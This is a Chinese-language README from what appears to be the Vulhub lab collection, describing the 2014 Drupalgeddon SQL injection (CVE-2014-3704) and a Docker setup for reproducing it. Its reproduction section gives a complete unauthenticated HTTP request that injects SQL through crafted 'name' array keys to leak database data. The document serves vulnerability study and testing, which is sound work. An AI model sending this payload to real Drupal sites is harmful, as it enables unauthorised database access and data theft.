Files
vulhub/drupal/CVE-2014-3704/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

51 lines
1.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Drupal < 7.32 "Drupalgeddon" SQL注入漏洞CVE-2014-3704
Drupal是一个使用PHP编写的免费开源的Web内容管理框架在GNU通用公共许可证下分发。
在Drupal Core 7.32版本之前的7.x版本中数据库抽象API中的expandArguments函数没有正确构造预处理语句这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。
参考链接:
- <https://www.drupal.org/SA-CORE-2014-005>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>
## 环境搭建
执行如下命令启动一个Drupal 7.31服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`将会看到Drupal的安装向导使用默认配置进行安装。
注意MySQL数据库名为`drupal`,数据库用户名和密码均为`root`,地址为`mysql`
![](1.png)
安装完成后,即可访问首页:
![](2.png)
## 漏洞复现
该SQL注入漏洞无需身份认证可以通过发送以下请求来执行恶意SQL语句
```
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
```
如图所示SQL语句报错信息中包含了用户数据
![](3.png)